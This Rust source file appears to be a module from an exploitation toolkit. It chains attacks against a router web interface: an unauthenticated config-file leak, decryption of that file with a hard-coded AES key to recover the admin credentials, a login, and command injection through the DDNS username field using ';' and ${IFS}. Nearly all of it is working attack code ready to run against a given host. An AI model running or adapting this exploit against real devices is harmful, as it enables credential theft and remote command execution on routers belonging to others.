use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use reqwest::{Client, cookie::Jar};
use std::{
    fs::{self, File},
    io::{Read, Write},
    net::TcpStream,
    sync::Arc,
};
use tokio::time::Duration;
use std::net::ToSocketAddrs;



/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
    if data.len() % 16 != 0 {
        anyhow::bail!("ECB decryption requires block-aligned data");
    }

    let cipher = Aes128::new_from_slice(key)?;
    let mut output = Vec::with_capacity(data.len());

    for chunk in data.chunks(16) {
        let mut arr = [0u8; 16];
        arr.copy_from_slice(chunk);
        let mut block = Block::<Aes128>::from(arr);
        cipher.decrypt_block(&mut block);
        output.extend_from_slice(&block);
    }

    Ok(output)
}

/// Extract host and port from target
fn parse_target(target: &str) -> Result<(String, u16)> {
    if target.contains("]:") {
        let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
        let port = parts[0].parse::<u16>()?;
        let host = parts[1].trim_start_matches('[').to_string();
        return Ok((host, port));
    } else if target.contains(':') {
        let parts: Vec<&str> = target.splitn(2, ':').collect();
        let port = parts[1].parse::<u16>()?;
        return Ok((parts[0].to_string(), port));
    }

    print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
    std::io::stdout().flush()?;
    let mut input = String::new();
    std::io::stdin().read_line(&mut input)?;
    let port = input.trim().parse::<u16>()?;
    Ok((target.to_string(), port))
}

/// Leak the router config file
fn leak_config(host: &str, port: u16) -> Result<()> {
    println!("[*] Leaking config from http://{}:{}/ ...", host, port);

    // Resolve and connect with timeout
    let addr = (host, port)
        .to_socket_addrs()?
        .next()
        .ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
    let timeout = Duration::from_secs(5);
    let mut conn = TcpStream::connect_timeout(&addr, timeout)?;

    let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
    let body = format!(
        "--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
        boundary, boundary
    );

    let request = format!(
        "POST /getpage.gch?pid=101 HTTP/1.1\r\n\
         Host: {}:{}\r\n\
         Content-Type: multipart/form-data; boundary={}\r\n\
         Content-Length: {}\r\n\
         Connection: close\r\n\r\n{}",
        host, port, boundary, body.len(), body
    );

    conn.write_all(request.as_bytes())?;

    let mut response = vec![];
    conn.read_to_end(&mut response)?;
    if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
        let body = &response[start + 4..];
        File::create("config.bin")?.write_all(body)?;
    }

    println!("[+] Config saved to config.bin");
    Ok(())
}

/// Decrypt config and extract credentials
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
    let mut encrypted = File::open("config.bin")?;
    let mut data = vec![];
    encrypted.read_to_end(&mut data)?;

    let mut key16 = [0u8; 16];
    key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);

    let decrypted = decrypt_ecb_nopad(&data, &key16)?;
    fs::write("decrypted.xml", &decrypted)?;

    let xml = fs::read_to_string("decrypted.xml")?;
    let username = xml.split("IGD.AU2").nth(1)
        .and_then(|s| s.split("User").nth(1))
        .and_then(|s| s.split("val=\"").nth(1))
        .and_then(|s| s.split('"').next())
        .unwrap_or("unknown")
        .to_string();

    let password = xml.split("IGD.AU2").nth(1)
        .and_then(|s| s.split("Pass").nth(1))
        .and_then(|s| s.split("val=\"").nth(1))
        .and_then(|s| s.split('"').next())
        .unwrap_or("unknown")
        .to_string();

    fs::remove_file("config.bin").ok();
    fs::remove_file("decrypted.xml").ok();

    println!("[+] Decrypted credentials: {} / {}", username, password);
    Ok((username, password))
}

/// Perform login
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
    println!("[*] Logging in to http://{}:{}/ ...", host, port);
    let url = format!("http://{}:{}/", host, port);
    let page = session.get(&url).send().await?.text().await?;

    let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
        .and_then(|s| s.split('"').next())
        .ok_or_else(|| anyhow::anyhow!("Login token not found"))?;

    let params = [
        ("Username", username),
        ("Password", password),
        ("frashnum", ""),
        ("Frm_Logintoken", token),
    ];

    session.post(&url).form(&params).send().await?;
    println!("[+] Login submitted.");
    Ok(())
}


/// Logout
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
    let url = format!("http://{}:{}/", host, port);
    session.post(&url).form(&[("logout", "1")]).send().await?;
    println!("[*] Logged out.");
    Ok(())
}

/// Command injection payload generator
fn command_injection(cmd: &str) -> String {
    let inj = format!("user;{};echo", cmd);
    inj.replace(" ", "${IFS}")
}

/// Abuse DDNS form to inject command
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
    let url = format!(
        "http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
        host, port
    );

    let form = [
        ("IF_ACTION", "apply"), ("Name", "dyndns"),
        ("Server", "http://www.dyndns.com/"), ("Username", payload),
        ("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
        ("DomainName", "hostname"), ("Service", "dyndns"),
        ("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
        ("ServerPort0", "80"), ("UpdateInterval0", "86400"),
        ("RetryInterval0", "60"), ("MaxRetries0", "3"),
        ("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
        ("ServerPort1", "80"), ("UpdateInterval1", "86400"),
        ("RetryInterval1", "60"), ("MaxRetries1", "3"),
        ("Enable", "1"), ("HostNumber", "")
    ];

    println!("[*] Sending command injection payload...");
    session.post(&url).form(&form).send().await?;
    println!("[+] Payload delivered.");
    Ok(())
}

/// Exploit wrapper
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
    let cookie_jar = Arc::new(Jar::default());
    let session = Client::builder()
        .cookie_provider(cookie_jar)
        .danger_accept_invalid_certs(true)
        .timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
        .build()?;

    leak_config(host, port)?;
    let (username, password) = decrypt_config(config_key)?;
    login(&session, host, port, &username, &password).await?;
    let payload = command_injection("echo hacked > /var/tmp/pwned");
    set_ddns(&session, host, port, &payload).await?;
    logout(&session, host, port).await?;
    println!("[✓] Exploit complete.");
    Ok(())
}


/// Dispatch entry point
pub async fn run(target: &str) -> Result<()> {
    let (host, port) = parse_target(target)?;
    let config_key = b"Renjx%2$CjM";
    match exploit(config_key, &host, port).await {
        Ok(_) => {
            println!("[*] Success on {}:{}", host, port);
            Ok(())
        }
        Err(e) => {
            println!("[!] Exploit failed: {}", e);
            Err(e)
        }
    }
}
